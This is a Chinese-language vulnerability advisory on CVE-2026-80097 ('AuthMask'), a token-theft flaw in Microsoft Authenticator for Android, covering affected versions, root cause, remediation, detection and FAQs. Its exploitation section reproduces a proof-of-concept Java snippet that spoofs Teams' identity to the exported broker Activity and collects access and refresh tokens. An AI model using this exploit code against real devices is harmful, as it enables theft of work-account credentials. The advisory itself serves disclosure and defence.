AuthMask：Microsoft Authenticator for Android 令牌窃取漏洞（CVE-2026-80097）

要点速览

• Microsoft Authenticator for Android 为其他 Microsoft 应用充当身份验证代理。在 6.2606.4246 之前的版本中，一个导出的 Activity 允许设备上不具备任何权限的应用冒充 Teams 等已安装的 Microsoft 应用，并以该应用的客户端身份获取工作账户的令牌，包括明文访问令牌和刷新令牌。研究人员将这项演示命名为 AuthMask；漏洞编号为 CVE-2026-80097。
• 所有安装了低于 6.2606.4246 版本的 Microsoft Authenticator for Android 且已登录工作账户的设备都在影响范围内。漏洞的 CVSS v3.1 基础评分为 8.6，属高危（CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C），Microsoft 自身的严重程度评级为 Important（重要）。
• Microsoft 表示，该漏洞尚未遭到利用，也未在修复前公开披露，CISA ADP 评估中的利用情况记录为“无”。截至 2026 年 10 月 27 日，该漏洞未列入 CISA KEV 目录。研究人员于 2026 年 10 月 23 日发布了公开概念验证，演示了完整攻击链。向量中的漏洞利用成熟度 E:U（未经证实）来自 Microsoft 在 9 月 8 日给出的评分，当时该概念验证尚未公开。
• 将 Microsoft Authenticator for Android 更新至 6.2606.4246 或更高版本。管理 Android 设备的组织可通过设备管理平台强制执行此最低版本要求。

我是否受影响？

如果以下两项都成立，您的设备就存在漏洞：

• 设备运行的 Microsoft Authenticator for Android（软件包 com.azure.authenticator）版本低于 6.2606.4246。
• 该设备上的 Authenticator 已登录工作账户，因为代理会为已登录账户发放令牌。

要利用漏洞，还需要在设备上安装恶意应用。这是攻击者的前提条件，而非设备存在漏洞的条件：概念验证应用没有任何权限，攻击由该应用发起，而不是从网站发起。

如果设备运行的是 6.2606.4246 或更高版本，则不受此漏洞影响。2026 年 10 月 27 日检查时，Google Play 页面上的版本为 6.2609.6214，更新于 10 月 26 日。漏洞位于 Android 应用的代理实现中；已发布的公告和研究针对的都是 Android 应用，现有来源均未对其他平台作出说明。

该应用的 Google Play 页面显示下载量为 1 亿以上（检查于 2026 年 10 月 27 日）。Microsoft 的 Android SSO 文档将 Authenticator 列为身份验证代理：应用可以使用它获取令牌，并在设备上共享登录状态。

检查您运行的版本：

• 在设备上：打开 Android 设置，依次进入应用、Microsoft Authenticator，在应用信息页面查看版本。应用内的关于页面显示相同数值。
• 对于受管理的设备群：从设备管理资产清单中读取 com.azure.authenticator 上报的应用版本，并要求使用 6.2606.4246 或更高版本。

如何修复？

从 Google Play 更新 Microsoft Authenticator for Android，并验证安装的版本为 6.2606.4246 或更高版本。对于受管理的设备群，通过设备管理平台强制执行此最低版本要求，避免未及时更新的设备继续保持登录状态。

现有来源仅说明了修复：据 The Hacker News 报道，Microsoft 的公告没有说明更新是否会撤销恶意应用可能已经收集的令牌，研究人员的披露也未涉及这一点。

凡是曾同时运行修复前版本和未知应用的设备，都应视为已经暴露。请管理员按照 Microsoft 的访问权限撤销指南，在 Entra ID > 用户 > 所有用户 中选择相应用户，并选择 撤销会话。这会撤销刷新令牌；现有访问令牌可能在到期前仍然有效。轮换这些会话可能泄露的所有凭据。

除了更新，没有可通过配置实施的临时解决办法：漏洞位于代理的验证逻辑中，因此修改 Authenticator 的设置无法改变这一行为。

根本原因是什么？

代理的令牌请求完全由调用应用提供的值构建，其签名检查又使用调用方同样能控制的数据来验证所声称的身份。 由于检查两端的数据都来自同一个调用方，一个没有任何权限的应用也能冒充任意已安装的 Microsoft 应用并通过检查。

根据研究人员对存在漏洞的构建版本的披露，攻击链包含三个部分。

首先，入口对所有应用开放。Authenticator 暴露了 Activity com.microsoft.identity.client.AccountChooserActivity，并将其标记为 android:exported="true"，因此设备上的任何应用都能启动它。唯一的门槛是 getCallingActivity() 不为 null，而任何使用 startActivityForResult 的调用方都能满足这一条件。

其次，请求由攻击者编写。该 Activity 直接将 Intent 附加参数读入账户选择器，并据此构建代理请求：调用方的 UID 来自 caller.info.uid 附加参数，应用名称、软件包名称、客户端 ID、重定向 URI 和作用域则全部来自 broker_request_v2 JSON 附加参数。披露中的总结很直接：调用方身份从未用于任何信任决策。

第三，验证只是在确认调用方自己编造的信息。BrokerInteractiveTokenCommandParameters.validate() 调用：

platformUtil.isValidCallingApp(getRedirectUri(), getCallerPackageName());

而 isValidCallingApp 根据所声称软件包的已安装签名，计算该软件包应使用的重定向 URI，再将其与调用方发送的重定向 URI 比较：

String brokerRedirectUri = PackageHelper.getBrokerRedirectUri(this.mContext, claimedPackage);
return StringUtil.equalsIgnoreCase(claimedRedirect, brokerRedirectUri);

由于被冒充的应用确实已经安装，其真实签名可通过 PackageManager 读取，因此攻击者读取签名、构建真实的重定向 URI，再将其放入请求，检查就会通过。Authenticator 本可使用另一份信息，即从 getCallingActivity().getPackageName() 获取真实调用方，但它仅将此信息用于记录，从未用于信任决策。

如何利用？

攻击者的应用读取被冒充应用的签名，构建声称来自该应用的代理请求，启动导出的 Activity，然后在自己的 onActivityResult 中接收令牌。

公开的概念验证以冒充 Teams 为例：

int uid = getPackageManager().getApplicationInfo("com.microsoft.teams", 0).uid; // read Teams' uid
String redirect = "msauth://com.microsoft.teams/" + urlEncode(sha1OfInstalledSig("com.microsoft.teams"));

JSONObject req = new JSONObject();           // broker_request_v2, all attacker-controlled
req.put("client_app_name", "com.microsoft.teams");
req.put("client_id", "1fec8e78-bce4-4aaf-ab1b-5451cc387264");
req.put("redirect_uri", redirect);
req.put("scopes", "https://graph.microsoft.com/.default");
req.put("authority", "https://login.microsoftonline.com/organizations");
req.put("username", "<victim-upn>");        // the victim's UPN

Intent i = new Intent();
i.setClassName("com.azure.authenticator", "com.microsoft.identity.client.AccountChooserActivity");
i.putExtra("caller.info.uid", uid);          // spoofed caller uid
i.putExtra("common.broker.protocol.version.name", "20.0");
i.putExtra("broker_request_v2", req.toString());
startActivityForResult(i, 1);                // tokens come back to onActivityResult

按步骤展开如下：

1. 攻击者的应用没有任何权限，它读取准备冒充的 Microsoft 应用的 UID 和已安装签名，此处为 Teams。
2. 它根据该签名构建 msauth:// 重定向 URI，使代理自身的验证逻辑生成相同的值，并将客户端 ID、作用域和受害者的用户名写入 broker_request_v2 附加参数。
3. 它通过 startActivityForResult 和伪造的 caller.info.uid 启动导出的 AccountChooserActivity。该调用为 Activity 提供了一个调用 Activity，因此 getCallingActivity() 不为 null，Activity 唯一的检查便通过了。
4. 验证将攻击者提供的重定向 URI 与根据所声称软件包的已安装签名生成的 URI 比较。两边的值相同，因此检查通过，而整个过程没有任何步骤确认发起请求的应用是否真的是 Teams。
5. Activity 将代理结果返回给启动它的应用：一个包含明文 access_token、refresh_token、id_token 和 client_info 的 Bundle，攻击者的应用可以解析这些数据。

攻击流程图

攻击者能做什么？

攻击者会获取设备上 Authenticator 已登录工作账户的令牌，并拥有被冒充应用的客户端 ID 所具备的委托权限。

研究人员测试了三种冒充方式及其作用域：

• 冒充 Teams 并请求 Microsoft Graph（graph.microsoft.com/.default）：Mail.ReadWrite、Mail.Send、Files.ReadWrite.All、Calendars.ReadWrite、ChatMessage.Send、Sites.ReadWrite.All 等。研究人员将其总结为对邮箱、文件和日历的完整委托访问权限。
• 冒充 Teams 聊天后端（api.spaces.skype.com）：user_impersonation。
• 冒充 Authenticator 自身的客户端：UserAuthenticationMethod.ReadWrite、Passkey.Create、Passkey.Delete。

Microsoft 和研究人员对两个前提条件意见一致：设备上安装了恶意应用，且 Authenticator 已登录工作账户。但双方对所需的用户交互存在分歧：

• Microsoft：据 The Hacker News 报道，公告要求受害者在 Authenticator 中完成一个登录步骤。Microsoft 的 CVSS 向量将用户交互标记为必需（UI:R）。
• 研究人员：一旦代理已登录工作账户，概念验证无需进一步用户交互就能返回令牌。

进行分级处理时，无论哪种描述适用，都应将安装了未知应用的目标设备视为已经暴露。

如何验证修复？

修复方式是将应用更新至 6.2606.4246 或更高版本。根据研究人员的披露，Microsoft 已修复该漏洞，6.2606.4246 之前的版本受影响。在修复后的构建版本中，调用方不应能够仅凭提供另一个应用的身份和重定向 URI，就获取该应用的令牌。

公开披露中没有补丁差异，因此无法据此确定修复版本具体修改了哪些验证逻辑。披露表明，存在漏洞的代理虽然能从 getCallingActivity() 获知真实调用软件包，却信任了请求附加参数中声称的身份。

防御者可在更新后的测试设备上检查预期行为：已披露的冒充请求不得将工作账户的令牌返回给攻击应用。这是一项验证标准，并非对尚未公开的补丁实现作出断言。

如何检查是否已被入侵？

截至 2026 年 10 月 27 日，尚未发布与此漏洞相关的入侵指标、攻击者软件包名称或哈希列表，现有来源中的 Microsoft 公告也没有提供检测指导。以下检查项是公开材料能够支持的内容。

• 在设备上：检查已安装应用中是否有未知应用，尤其是侧载应用，并检查 Authenticator 版本，以确定暴露时间窗口。
• 在工作账户的登录和审计日志中：查找意外获得 Mail.ReadWrite、Files.ReadWrite.All、Calendars.ReadWrite 或 UserAuthenticationMethod.ReadWrite 等委托权限的客户端应用。
• 在同一批日志中：查找来自没有 Teams 会话的设备、却标识为 Teams 客户端 ID 的授权同意或令牌签发事件。
• 如果未知应用曾与低于 6.2606.4246 版本的 Authenticator 同时存在，应假定该账户的令牌曾可被获取，并撤销其活动会话和刷新令牌，而不是等待证据出现。

时间线

• 2026-09-08：Microsoft 发布 CVE-2026-80097（CVE 记录中的 datePublished），修复版本为 Microsoft Authenticator for Android 6.2606.4246。研究人员在此日期之前已向 MSRC 报告问题，现有来源未说明修复版应用的发布日期。
• 2026-10-23：Enclave 发布 AuthMask 技术披露及完整概念验证，研究成果归属于通过 Enclave Fellowship Program 参与的研究人员 Ofek Levin。
• 2026-10-26：Google Play 页面更新至版本 6.2609.6214（检查于 2026 年 10 月 27 日）。
• 2026-10-27：The Hacker News 发布关于该漏洞及公告修复指导的报道；本文随后发布，CVE 记录中的 CISA ADP 评估将利用情况列为“无”。

常见问题

iOS 应用是否受影响？

现有来源没有说明。公告、研究人员披露和媒体报道均针对 Microsoft Authenticator for Android，攻击链依赖 Android 的基础机制：导出的 Activity、通过 PackageManager 读取签名，以及 MSAL Android 代理协议。没有来源确认或否认 iOS 应用受到影响，因此应将其视为 Android 修复，并关注厂商对其他平台的声明。

受害者是否需要点击任何内容？

Microsoft 和研究人员存在分歧。Microsoft 的公告称，利用漏洞需要受害者在 Authenticator 中完成一个登录步骤，其 CVSS 向量也将用户交互标记为必需。研究人员报告称，在安装了代理且已登录工作账户的设备上，概念验证无需额外交互即可返回令牌。双方对分级处理所需关注的前提条件意见一致：已安装恶意应用，且已登录工作账户。

如果令牌已经被盗，更新应用会撤销它吗？

现有来源没有说明。Microsoft 的公告给出了修复版本，但据 The Hacker News 报道，公告没有说明更新是否会使恶意应用已经收集的令牌失效。如果有理由怀疑令牌已被收集，应直接撤销该账户的会话和刷新令牌，而不是依赖应用更新。

为什么评级是 High 和 Important，而不是 Critical？

这里涉及两套评级：CVSS v3.1 基础评分 8.6 属于 High（高危）区间（7.0 至 8.9），Important（重要）则是 Microsoft 自身的严重程度评级。在 CVSS 方面，攻击属于本地攻击：攻击者首先需要在设备上安装应用，向量将其编码为 AV:L；Microsoft 还将用户交互标记为必需，进一步降低了评分。CISA 的 ADP 评估记录为：利用情况“无”、可自动化“否”、技术影响“完全”。本地攻击向量意味着无法远程针对整个设备群发起该攻击。

是否已遭在野利用？

没有。Microsoft 表示，该漏洞尚未被用于攻击，也未在修复前公开披露，并将利用可能性评为较低。CISA ADP 评估将利用情况记录为“无”，截至 2026 年 10 月 27 日，该 CVE 未列入 CISA KEV 目录。

删除恶意应用就能修复问题吗？

删除应用会清除攻击者在设备上的立足点，但无法消除已经产生的风险。删除前收集的任何令牌都会在到期或被撤销前保持有效，因此在删除应用的同时，应审查账户活动并撤销会话，然后更新 Authenticator，防止相同攻击链再次奏效。

使用 Ostorlab 审查您自己的 Android 应用的代理处理逻辑

对已发布的 Android 应用运行 Ostorlab 移动应用扫描，然后审查那些使用 Intent 附加参数作出信任决策的导出 Activity。检查每个 Activity 是否在返回令牌或其他敏感数据之前验证真实调用方。调用方检查正是 AuthMask 未能守住的边界。

参考资料

• Enclave，《AuthMask：我们让 Microsoft Authenticator 向一个零权限应用交出了令牌》，2026 年 10 月 23 日，研究人员 Ofek Levin 通过 Enclave Fellowship Program 发布：导出的 AccountChooserActivity、调用方提供的代理请求、自我印证的签名检查、完整概念验证、测得的作用域及修复版本：https://enclave.ai/blog/authmask-we-made-microsoft-authenticator-hand-over-tokens （检查于 2026 年 10 月 27 日）
• Microsoft Security Response Center 关于 CVE-2026-80097 的公告，发布于 2026 年 9 月 8 日：https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-80097 （由 JS 渲染的页面；公告内容取自 CVE 记录及下方 The Hacker News 报道）
• CVE-2026-80097 记录，CNA 为 Microsoft，发布于 2026 年 9 月 8 日：“Microsoft Authenticator 中的不当身份验证允许未经授权的攻击者在本地提升权限”，CVSS v3.1 8.6（CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C），附 CISA ADP SSVC 评估：利用情况“无”、可自动化“否”、技术影响“完全”：https://cveawg.mitre.org/api/cve/CVE-2026-80097 （检查于 2026 年 10 月 27 日）
• The Hacker News，《Microsoft Authenticator 漏洞让无权限 Android 应用窃取工作账户令牌》，2026 年 10 月 27 日，引用 Microsoft 公告中关于修复版本 6.2606.4246、登录步骤前提条件、尚无利用的状态、Important 评级及 8.6 评分、9 月补丁星期二背景和设备管理修复路径的信息：https://thehackernews.com/2026/10/microsoft-authenticator-flaw-let.html （检查于 2026 年 10 月 27 日）
• Microsoft Authenticator for Android 的 Google Play 页面，com.azure.authenticator，下载量 1 亿以上，当前版本 6.2609.6214，更新于 2026 年 10 月 26 日：https://play.google.com/store/apps/details?id=com.azure.authenticator （检查于 2026 年 10 月 27 日）
• CISA 已知遭利用漏洞目录，2026 年 10 月 27 日检查 CVE-2026-80097（未列入）：https://www.cisa.gov/known-exploited-vulnerabilities-catalog